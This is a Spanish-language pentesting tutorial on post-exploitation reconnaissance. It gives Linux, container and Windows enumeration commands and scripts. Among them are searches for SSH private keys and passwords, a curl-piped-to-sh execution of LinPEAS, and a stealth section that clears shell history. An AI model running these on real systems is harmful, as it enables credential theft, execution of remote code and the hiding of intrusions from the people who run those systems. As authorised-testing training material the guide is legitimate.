Reconocimiento Post-Explotación
Reconocimiento Post-Explotación
Section titled “Reconocimiento Post-Explotación”Introducción
Section titled “Introducción”El reconocimiento post-explotación es una fase crítica del pentesting que se ejecuta inmediatamente después de obtener acceso inicial a un sistema. Su objetivo principal es recopilar información detallada sobre el sistema comprometido para identificar vectores de escalación de privilegios, movimiento lateral y persistencia.
¿Por qué es importante?
Section titled “¿Por qué es importante?”- Escalación de privilegios: Identificar rutas para obtener privilegios administrativos
- Comprensión del entorno: Mapear la infraestructura y servicios
- Movimiento lateral: Encontrar rutas hacia otros sistemas
- Persistencia: Identificar métodos para mantener acceso
- Exfiltración de datos: Localizar información sensible
Fases del Reconocimiento Post-Explotación
Section titled “Fases del Reconocimiento Post-Explotación”- Situational Awareness: ¿Dónde estoy y quién soy?
- System Enumeration: ¿Qué hay en este sistema?
- Privilege Escalation: ¿Cómo puedo obtener más privilegios?
- Network Discovery: ¿Qué más hay en la red?
- Data Discovery: ¿Qué información valiosa existe?
Metodología de Reconocimiento
Section titled “Metodología de Reconocimiento”Fase 1: Situational Awareness
Section titled “Fase 1: Situational Awareness”# Información básica del usuario actualwhoamiidgroups
# Información del sistemahostnameuname -acat /etc/os-release
# Ubicación actualpwdls -la
# Variables de entornoenvecho $PATHecho $HOMEFase 2: Enumeración del Sistema
Section titled “Fase 2: Enumeración del Sistema”# Usuarios del sistemacat /etc/passwdcat /etc/groupwwholast
# Procesos en ejecuciónps auxps -efpstree
# Servicios y puertosnetstat -antupss -tulpnsystemctl list-units --type=service --state=runningFase 3: Búsqueda de Vectores de Escalación
Section titled “Fase 3: Búsqueda de Vectores de Escalación”# Archivos SUID/SGIDfind / -perm -u=s -type f 2>/dev/nullfind / -perm -g=s -type f 2>/dev/null
# Capabilitiesgetcap -r / 2>/dev/null
# Sudo permissionssudo -l
# Archivos escribiblesfind / -writable -type f 2>/dev/null | grep -v procfind / -perm -002 -type f 2>/dev/null
# Tareas croncat /etc/crontabls -la /etc/cron.*crontab -lFase 4: Descubrimiento de Red
Section titled “Fase 4: Descubrimiento de Red”# Interfaces de redip addr showifconfig -a
# Tabla de rutasip route showroute -n
# Conexiones de rednetstat -rnarp -a
# Escaneo de red localfor i in {1..254}; do ping -c 1 192.168.1.$i >/dev/null 2>&1 && echo "192.168.1.$i is up"; doneHerramientas Automatizadas
Section titled “Herramientas Automatizadas”LSE (Linux Smart Enumeration)
Section titled “LSE (Linux Smart Enumeration)”# Descarga y ejecución básicawget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.shchmod +x lse.sh./lse.sh -l 2
# Niveles de enumeración./lse.sh -l 0 # Básico (30 seg)./lse.sh -l 1 # Intermedio (2 min)./lse.sh -l 2 # Completo (5 min)Ventajas de LSE:
- Salida colorizada y organizada
- Múltiples niveles de profundidad
- Detección inteligente de vectores de escalación
- Sin dependencias externas
Pspy (Process Spy)
Section titled “Pspy (Process Spy)”# Descarga y ejecuciónwget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64chmod +x pspy64./pspy64
# Monitoreo con archivos./pspy64 -pf
# Intervalo personalizado./pspy64 -i 1000Ventajas de Pspy:
- Monitoreo en tiempo real de procesos
- No requiere privilegios root
- Detecta procesos ejecutados por otros usuarios
- Útil para identificar tareas cron ocultas
LinPEAS
Section titled “LinPEAS”# Descarga y ejecucióncurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Ejecución con opciones./linpeas.sh -a # All checks./linpeas.sh -s # Superfast./linpeas.sh -P # Password searchLinEnum
Section titled “LinEnum”# Descarga y ejecuciónwget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shchmod +x LinEnum.sh./LinEnum.sh
# Con opciones específicas./LinEnum.sh -s -k password -r report -e /tmp/Técnicas Manuales Avanzadas
Section titled “Técnicas Manuales Avanzadas”Búsqueda de Archivos Sensibles
Section titled “Búsqueda de Archivos Sensibles”# Archivos de configuraciónfind /etc -name "*.conf" -type f 2>/dev/nullfind /etc -name "*.cfg" -type f 2>/dev/nullfind /etc -name "*.ini" -type f 2>/dev/null
# Archivos con contraseñasgrep -r "password" /etc/ 2>/dev/nullgrep -r "passwd" /etc/ 2>/dev/nullgrep -r "pwd" /etc/ 2>/dev/null
# Claves SSHfind / -name "id_rsa" 2>/dev/nullfind / -name "id_dsa" 2>/dev/nullfind / -name "*.pem" 2>/dev/null
# Archivos de base de datosfind / -name "*.db" 2>/dev/nullfind / -name "*.sqlite" 2>/dev/nullfind / -name "*.sql" 2>/dev/null
# Logs del sistemafind /var/log -type f -readable 2>/dev/nullEnumeración de Servicios
Section titled “Enumeración de Servicios”# Servicios systemdsystemctl list-units --type=servicesystemctl list-unit-files --type=service
# Servicios SysVservice --status-allchkconfig --list
# Análisis de puertos internosnetstat -antup | grep LISTENss -tulpn | grep LISTEN
# Procesos con puertoslsof -ifuser -v 22/tcpAnálisis de Memoria y Procesos
Section titled “Análisis de Memoria y Procesos”# Información de memoriafree -hcat /proc/meminfo
# Procesos por uso de CPUtop -n 1htop
# Procesos por usuariops aux --sort=-%cpups aux --sort=-%mem
# Árbol de procesospstree -pps axjfScripts de Automatización
Section titled “Scripts de Automatización”Script de Reconocimiento Completo
Section titled “Script de Reconocimiento Completo”#!/bin/bash# full_recon.sh - Reconocimiento post-explotación completo
OUTPUT_DIR="post_exploit_recon_$(date +%Y%m%d_%H%M%S)"mkdir -p $OUTPUT_DIR
echo "[+] Iniciando reconocimiento post-explotación completo"echo "[+] Resultados en: $OUTPUT_DIR"
# Información básicaecho "[+] Recopilando información básica..."{ echo "=== INFORMACIÓN BÁSICA ===" echo "Usuario actual: $(whoami)" echo "ID: $(id)" echo "Hostname: $(hostname)" echo "Fecha: $(date)" echo "Uptime: $(uptime)" echo ""
echo "=== SISTEMA OPERATIVO ===" uname -a cat /etc/os-release 2>/dev/null || cat /etc/issue echo ""} > $OUTPUT_DIR/basic_info.txt
# Usuarios y gruposecho "[+] Enumerando usuarios y grupos..."{ echo "=== USUARIOS ===" cat /etc/passwd echo ""
echo "=== GRUPOS ===" cat /etc/group echo ""
echo "=== USUARIOS CONECTADOS ===" w who last | head -20} > $OUTPUT_DIR/users_groups.txt
# Procesos y serviciosecho "[+] Analizando procesos y servicios..."{ echo "=== PROCESOS ===" ps aux echo ""
echo "=== SERVICIOS SYSTEMD ===" systemctl list-units --type=service --state=running 2>/dev/null echo ""
echo "=== PUERTOS ABIERTOS ===" netstat -antup 2>/dev/null || ss -tulpn} > $OUTPUT_DIR/processes_services.txt
# Búsqueda de vectores de escalaciónecho "[+] Buscando vectores de escalación..."{ echo "=== ARCHIVOS SUID ===" find / -perm -u=s -type f 2>/dev/null echo ""
echo "=== ARCHIVOS SGID ===" find / -perm -g=s -type f 2>/dev/null echo ""
echo "=== CAPABILITIES ===" getcap -r / 2>/dev/null echo ""
echo "=== SUDO PERMISSIONS ===" sudo -l 2>/dev/null echo ""
echo "=== ARCHIVOS ESCRIBIBLES ===" find / -writable -type f 2>/dev/null | grep -v proc | head -50} > $OUTPUT_DIR/privilege_escalation.txt
# Información de redecho "[+] Recopilando información de red..."{ echo "=== INTERFACES ===" ip addr show 2>/dev/null || ifconfig -a echo ""
echo "=== RUTAS ===" ip route show 2>/dev/null || route -n echo ""
echo "=== ARP TABLE ===" arp -a echo ""
echo "=== CONEXIONES ===" netstat -rn 2>/dev/null} > $OUTPUT_DIR/network_info.txt
# Archivos sensiblesecho "[+] Buscando archivos sensibles..."{ echo "=== ARCHIVOS DE CONFIGURACIÓN ===" find /etc -name "*.conf" -type f 2>/dev/null | head -20 echo ""
echo "=== CLAVES SSH ===" find / -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null echo ""
echo "=== ARCHIVOS CON CONTRASEÑAS ===" grep -r "password" /etc/ 2>/dev/null | head -10 echo ""
echo "=== HISTORIAL ===" find /home -name ".bash_history" 2>/dev/null find /home -name ".zsh_history" 2>/dev/null} > $OUTPUT_DIR/sensitive_files.txt
# Tareas cronecho "[+] Analizando tareas cron..."{ echo "=== CRONTAB GLOBAL ===" cat /etc/crontab 2>/dev/null echo ""
echo "=== CRON DIRECTORIES ===" ls -la /etc/cron.* 2>/dev/null echo ""
echo "=== USER CRONTABS ===" for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null && echo "--- $user ---" done} > $OUTPUT_DIR/cron_analysis.txt
echo "[+] Reconocimiento completado en: $OUTPUT_DIR"echo "[+] Archivos generados:"ls -la $OUTPUT_DIRScript de Análisis Rápido
Section titled “Script de Análisis Rápido”#!/bin/bash# quick_recon.sh - Reconocimiento rápido (menos de 1 minuto)
echo "=== RECONOCIMIENTO RÁPIDO POST-EXPLOTACIÓN ==="echo "Fecha: $(date)"echo "Usuario: $(whoami) | ID: $(id)"echo "Sistema: $(uname -a)"echo ""
echo "=== TOP 10 PROCESOS POR CPU ==="ps aux --sort=-%cpu | head -11echo ""
echo "=== ARCHIVOS SUID CRÍTICOS ==="find / -perm -u=s -type f 2>/dev/null | grep -E "(nmap|vim|find|bash|sh|python|perl|ruby|gdb|ftp|ncat|nc|netcat)" | head -10echo ""
echo "=== SUDO PERMISSIONS ==="sudo -l 2>/dev/null | head -10echo ""
echo "=== SERVICIOS EN PUERTOS COMUNES ==="netstat -antup 2>/dev/null | grep -E ":22|:80|:443|:21|:23|:25|:53|:110|:143|:993|:995|:3306|:5432|:1433|:3389" | head -10echo ""
echo "=== INTERFACES DE RED ==="ip addr show 2>/dev/null | grep -E "inet |UP," | head -10echo ""
echo "=== ARCHIVOS ESCRIBIBLES EN /ETC ==="find /etc -writable -type f 2>/dev/null | head -5echo ""
echo "=== RECONOCIMIENTO RÁPIDO COMPLETADO ==="Casos de Uso Específicos
Section titled “Casos de Uso Específicos”Reconocimiento en Contenedores
Section titled “Reconocimiento en Contenedores”#!/bin/bashecho "[+] Detectando si estamos en un contenedor..."
# Verificar indicadores de contenedorif [ -f "/.dockerenv" ]; then echo "[+] Docker container detectado" CONTAINER_TYPE="docker"elif grep -q "lxc\|docker" /proc/1/cgroup 2>/dev/null; then echo "[+] Contenedor detectado via cgroup" CONTAINER_TYPE="container"else echo "[-] No se detectó contenedor" CONTAINER_TYPE="host"fi
if [ "$CONTAINER_TYPE" != "host" ]; then echo "[+] Análisis específico de contenedor..."
# Capabilities del contenedor echo "=== CAPABILITIES ===" capsh --print 2>/dev/null
# Montajes sospechosos echo "=== MONTAJES ===" mount | grep -E "(proc|sys|dev)"
# Verificar escape potencial echo "=== HERRAMIENTAS DE ESCAPE ===" which docker runc kubectl 2>/dev/null
# Verificar privilegios echo "=== PRIVILEGIOS ===" id cat /proc/self/status | grep CapfiReconocimiento en Sistemas Windows
Section titled “Reconocimiento en Sistemas Windows”Write-Host "[+] Reconocimiento Windows Post-Explotación"
# Información básicaWrite-Host "=== INFORMACIÓN BÁSICA ==="whoamiwhoami /privsysteminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
# Usuarios y gruposWrite-Host "=== USUARIOS LOCALES ==="net usernet localgroup administrators
# ServiciosWrite-Host "=== SERVICIOS ==="Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, Status | Format-Table
# ProcesosWrite-Host "=== PROCESOS ==="Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
# RedWrite-Host "=== INFORMACIÓN DE RED ==="ipconfig /allnetstat -an | findstr LISTENING
# Archivos interesantesWrite-Host "=== ARCHIVOS INTERESANTES ==="dir C:\Users\*\Desktop\*.txtdir C:\Users\*\Documents\*.txtIntegración con Herramientas
Section titled “Integración con Herramientas”Combinación LSE + Pspy
Section titled “Combinación LSE + Pspy”#!/bin/bashecho "[+] Ejecutando LSE + Pspy en paralelo"
# Ejecutar LSE en background./lse.sh -l 2 > lse_results.txt 2>&1 &LSE_PID=$!
# Ejecutar Pspy por 5 minutostimeout 300 ./pspy64 -pf > pspy_results.txt 2>&1 &PSPY_PID=$!
# Esperar a que termine LSEwait $LSE_PIDecho "[+] LSE completado"
# Esperar a Pspywait $PSPY_PIDecho "[+] Pspy completado"
# Generar reporte combinadoecho "[+] Generando reporte combinado..."{ echo "=== REPORTE COMBINADO LSE + PSPY ===" echo "Fecha: $(date)" echo ""
echo "=== RESUMEN LSE ===" grep -E "\[!\]|\[i\]" lse_results.txt | head -20 echo ""
echo "=== PROCESOS ÚNICOS DETECTADOS POR PSPY ===" grep "CMD:" pspy_results.txt | sort -u | head -20 echo ""
echo "=== PROCESOS COMO ROOT ===" grep "UID=0" pspy_results.txt | head -10
} > combined_report.txt
echo "[+] Reporte combinado generado: combined_report.txt"Mejores Prácticas
Section titled “Mejores Prácticas”Organización de Resultados
Section titled “Organización de Resultados”# Estructura recomendada de directoriosmkdir -p recon_$(date +%Y%m%d_%H%M%S)/{basic,users,processes,network,files,escalation}
# Nomenclatura de archivos# basic_info_YYYYMMDD_HHMMSS.txt# users_enum_YYYYMMDD_HHMMSS.txt# network_discovery_YYYYMMDD_HHMMSS.txtEvasión y Sigilo
Section titled “Evasión y Sigilo”# Usar comandos nativos del sistemaps aux > /tmp/.hidden_processescat /etc/passwd > /tmp/.users_backup
# Limpiar historialhistory -cunset HISTFILEexport HISTFILESIZE=0export HISTSIZE=0
# Usar ubicaciones temporalescd /dev/shmcd /tmpDocumentación de Hallazgos
Section titled “Documentación de Hallazgos”# Template de reportecat > recon_template.txt << 'EOF'=== REPORTE DE RECONOCIMIENTO POST-EXPLOTACIÓN ===Fecha: $(date)Sistema: $(hostname)Usuario: $(whoami)
HALLAZGOS CRÍTICOS:- [ ] Archivos SUID vulnerables- [ ] Sudo sin contraseña- [ ] Archivos escribibles críticos- [ ] Servicios vulnerables- [ ] Credenciales en texto plano
VECTORES DE ESCALACIÓN IDENTIFICADOS:1.2.3.
RECOMENDACIONES:1.2.3.
PRÓXIMOS PASOS:1.2.3.EOFRecursos Adicionales
Section titled “Recursos Adicionales”Herramientas Complementarias
Section titled “Herramientas Complementarias”- LSE: Linux Smart Enumeration
- Pspy: Process monitoring without root
- LinPEAS: Privilege Escalation Awesome Scripts
- LinEnum: Linux enumeration script
- Unix-privesc-check: Unix privilege escalation checker
- BeRoot: Windows/Linux privilege escalation tool
Bases de Datos de Escalación
Section titled “Bases de Datos de Escalación”- GTFOBins - Unix binaries for privilege escalation
- LOLBAS - Living Off The Land Binaries and Scripts
- WADComs - Windows/AD commands
- HackTricks - Pentesting methodology
Checklists de Escalación
Section titled “Checklists de Escalación”Disclaimer Legal
Section titled “Disclaimer Legal”⚠️ IMPORTANTE: Esta documentación es únicamente para fines educativos y de investigación en ciberseguridad. El reconocimiento post-explotación debe realizarse exclusivamente en:
- Sistemas propios
- Entornos de laboratorio
- Pruebas de penetración autorizadas
El uso no autorizado puede constituir un delito. Los autores no se hacen responsables del mal uso de esta información.